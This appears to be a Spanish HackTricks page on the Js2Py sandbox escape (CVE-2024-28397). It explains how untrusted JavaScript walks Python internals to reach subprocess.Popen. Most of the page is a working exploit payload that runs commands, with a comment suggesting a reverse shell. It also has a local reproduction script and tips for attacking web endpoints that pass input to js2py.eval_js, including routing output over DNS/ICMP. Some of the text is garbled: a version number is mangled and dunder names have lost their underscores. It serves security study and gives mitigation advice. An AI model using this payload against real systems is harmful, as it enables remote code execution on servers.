Js2Py sandbox escape (CVE-2024-28397)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Js2Py traduce JavaScript a objetos Python, por lo que incluso cuando se usa js2py.disable_pyimport(), JS no confiable puede recorrer los internos de Python para alcanzar clases peligrosas como subprocess.Popen. Las versiones 20.74 permiten abusar de los primitivos de reflexión de Python que Js2Py expone a los objetos JS para obtener RCE desde JavaScript que de otro modo estaría “sandboxed”.

Primitiva: pivot desde wrappers de objetos JS a objetos Python

  1. Obtener un objeto respaldado por Python: Object.getOwnPropertyNames({}) devuelve un objeto dict_keys en el espacio de Python.
  2. Recuperar acceso a atributos: obtener .__getattribute__ de ese objeto y llamarlo para leer atributos arbitrarios (p. ej., "__class__").
  3. Subir hasta object: desde <class 'dict_keys'> leer .__base__ para alcanzar el object base de Python.
  4. Enumerar clases cargadas: llamar a object.__subclasses__() para recorrer cada clase ya cargada en el intérprete.
  5. Encontrar subprocess.Popen: buscar recursivamente en las subclasses donde __module__ == "subprocess" y __name__ == "Popen".
  6. Ejecutar un comando: instanciar Popen con argumentos controlados por el atacante e invocar .communicate() para capturar la salida.
Ejemplo de payload que abusa de Js2Py para alcanzar subprocess.Popen ```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;

hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;

function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }

// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back

</details>

¿Por qué funciona esto?: Js2Py expone envoltorios de objetos de Python a JS sin eliminar `__getattribute__`, `__class__`, `__base__`, o `__subclasses__`. `disable_pyimport()` solo bloquea las llamadas explícitas a `pyimport`, pero la cadena anterior nunca importa nada nuevo; reutiliza módulos y clases ya cargados en memoria.

## Reproduciendo la cadena localmente
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})"))                      # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))    # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY

Operando contra sandboxes web

  • Cualquier endpoint que alimente JS controlado por un atacante a js2py.eval_js (por ejemplo, una API Flask /run_code) es inmediatamente RCE si el usuario del proceso tiene acceso a shell.
  • Devolver jsonify({'result': result}) fallará cuando .communicate() devuelva bytes; decodifica o redirige la salida a DNS/ICMP para evitar bloqueos de serialización.
  • disable_pyimport() no mitiga esta cadena; se requiere aislamiento fuerte (proceso/contenedor separado) o eliminar la ejecución de código no confiable por parte de Js2Py.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks